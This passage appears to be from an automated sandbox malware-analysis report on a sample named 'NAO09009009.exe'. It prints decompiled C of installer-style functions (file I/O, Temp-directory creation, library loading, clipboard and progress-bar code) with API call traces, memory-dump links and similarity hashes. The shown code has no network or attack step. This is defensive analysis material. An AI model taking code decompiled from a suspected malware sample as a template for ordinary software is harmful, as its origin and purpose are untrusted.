									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										if(E004060B5( *0x40a01c, 0x414ef0, _t28) == 0) {
											goto L18;
										}
										_t30 = E004060E4(_a8, 0x414ef0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x420ef4 =  *0x420ef4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x0040330d
0x00403316
0x0040331f
0x00403323
0x0040332e
0x0040332e
0x00403336
0x0040333d
0x0040334f
0x00403356
0x004033fb
0x004033fb
0x00000000
0x0040335c
0x0040335f
0x0040336b
0x0040336f
0x00403409
0x00403409
0x00403375
0x00403378
0x004033d7
0x004033dd
0x004033df
0x004033df
0x004033f1
0x004033f9
0x00403400
0x00403403
0x00000000
0x00000000
0x00000000
0x00000000
0x0040337a
0x0040337d
0x00000000
0x00403383
0x00403388
0x0040338f
0x00403392
0x00403394
0x00403394
0x004033a1
0x004033ab
0x00000000
0x00000000
0x004033b4
0x004033bb
0x004033d3
0x004033fd
0x004033fd
0x004033bd
0x004033bd
0x004033c0
0x004033c3
0x004033c9
0x004033cf
0x00000000
0x004033d1
0x00000000
0x004033d1
0x004033cf
0x00000000
0x004033bb
0x00000000
0x00403388
0x0040337d
0x00403378
0x0040336f
0x00403356
0x0040340b
0x0040340e

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction ID: fc1c1b99c1c3d1c2481461a51282f6204a9bfe71311cf5a9819f6edaa66b9ece
Opcode Fuzzy Hash: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction Fuzzy Hash: C6319F70200219EFDB11CF55ED84A9E3FA8FB00355B20443AF905EA1D1D778DE51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1, Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402D3E(0xfffffff0);
				_t17 = E00405EBC(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405E3E(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E00405AF0( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405B0D(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E00405A73( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E0040653C(0x436000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x42a308 =  *0x42a308 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x004022e9
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402bc5
0x00402bd1

APIs

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,74B5FAA0,?,74B5F560,00405C6E,?,74B5FAA0,74B5F560,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A73: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: dcb730f39e3dd6a344b0b4a95f59667c82559ddfc9f43997ecf154a5f55b7a43
Instruction ID: 804c449170a8270e91f9515fbcc2e09aef6974e60d9951be020b7c668b26977e
Opcode Fuzzy Hash: dcb730f39e3dd6a344b0b4a95f59667c82559ddfc9f43997ecf154a5f55b7a43
Instruction Fuzzy Hash: 1511E231504115ABCF30AFA5CD4199F36B0EF24329B28493BE956B12F1D63E4E829F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4, struct HWND__* _a10) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42a2b0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if(_a10 != 0) {
						 *0x42924c =  *0x42924c + _t12;
						SendMessageW(_a10, 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction ID: 2e9f13adc1e302feb6e44b0cfdad9a37d499f26753b45a494d358932ab564816
Opcode Fuzzy Hash: d662c2adc7386def8032e0caa440f6f516c0d103e2adf936855243d12f81b3d3
Instruction Fuzzy Hash: 2501F431724220EBEB295B389D05B6A3698E710314F10857FF855F66F1E678CC029B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00406931, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406931(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E004068C1(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406939
0x0040693c
0x00406943
0x0040694b
0x00406957
0x00000000
0x0040695e
0x0040694e
0x00406955
0x00000000
0x00406966
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

Part of subcall function 004068C1: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
Part of subcall function 004068C1: wsprintfW.USER32 ref: 00406913
Part of subcall function 004068C1: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406927

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ce5542d5707cc7159b18b1f0655ddf6d95a06601bb2a9cb3f5ee38c39b2b28c7
Instruction ID: ca9fc7dfa89fe5ea16e4639455fc103decb8165a688e618dc96f0396de22bceb
Opcode Fuzzy Hash: ce5542d5707cc7159b18b1f0655ddf6d95a06601bb2a9cb3f5ee38c39b2b28c7
Instruction Fuzzy Hash: A5E0867390422057E61056705E4CC3773A8ABC4750306443EF556F2140DB38DC35977A

Uniqueness

Uniqueness Score: -1.00%

Function 00406032, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406032(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00406036
0x00406043
0x00406058
0x0040605e

APIs

GetFileAttributesW.KERNELBASE(00000003,004030AB,C:\Users\user\Desktop\NAO09009009.exe,80000000,00000003), ref: 00406036
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040600D, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040600D(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00406012
0x00406018
0x0040601d
0x00406026
0x00406026
0x0040602f

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C12,?,?,00000000,00405DE8,?,?,?,?), ref: 00406012
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406026

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 2aab62ad23f8cb6709c95f945eae6201b0fb2c2ffcd307ea01f0c72ec21377a4
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 9AD0C972504131ABC2502728EE0889ABF55EF682717014A35F9A5A22B0CB314C628A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405AF0, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AF0(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405af6
0x00405afe
0x00000000
0x00405b04
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,004035CB,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00405AF6
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 00405B04

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 7b2d9cd717f5aff8da3a1f7dd460dbe6a594badd890d3698b32dee5738bc8dc1
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: 50C04C30204601AEDA509B30DF08B177AA4AF50741F1158396246E40A0DA78A455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 004060E4, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060E4(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060e8
0x004060f8
0x00406100
0x00000000
0x00406107
0x00000000
0x00406109

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004107B9,0040CEF0,00403511,0040CEF0,004107B9,00414EF0,00004000,?,00000000,0040333B,00000004), ref: 004060F8

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 6979515bda9704ff85578e0c0429e47610ce6c1510064802d49ef9c1332cb9e6
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: E3E08C3221022AABEF109E618C04AEB7B6CEB01360F014832FE16E7040D271E9308BE8

Uniqueness

Uniqueness Score: -1.00%

Function 004060B5, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060B5(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x004060b9
0x004060c9
0x004060d1
0x00000000
0x004060d8
0x00000000
0x004060da

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414EF0,0040CEF0,0040358D,0040A230,0040A230,00403491,00414EF0,00004000,?,00000000,0040333B), ref: 004060C9

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction ID: 6a9dac85b633d085c252a5e98b17eff4fa9db91ceb9277f9f5c2807d74357857
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: DCE0E63215026AABDF109E559C04AEB775CEF05751F014836F916E6190D631E93197A4

Uniqueness

Uniqueness Score: -1.00%

Function 00403590, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403590(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x0040359e
0x004035a4

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004056E3, Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004056E3(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429244;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00405677, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E00406579(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423748;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x42922c == _t156) {
							ShowWindow( *0x42a268, 8);
							if( *0x42a30c == _t156) {
								E004055A4( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
							}
							E0040446B(_t171);
							goto L25;
						}
						 *0x421f18 = 2;
						E0040446B(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E004044F9(_a8, _a12, _a16);
						}
						ShowWindow( *0x429230, _t156);
						ShowWindow(_t169, 8);
						E004044C7(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a274;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x429230 = GetDlgItem(_a4, 0x403);
				 *0x429228 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429244 = _t134;
				_v8 = _t134;
				E004044C7( *0x429230);
				 *0x429234 = E00404E20(4);
				 *0x42924c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404492(_a4);
				if(( *0x42a27c & 0x00000003) != 0) {
					ShowWindow( *0x429230, _t156);
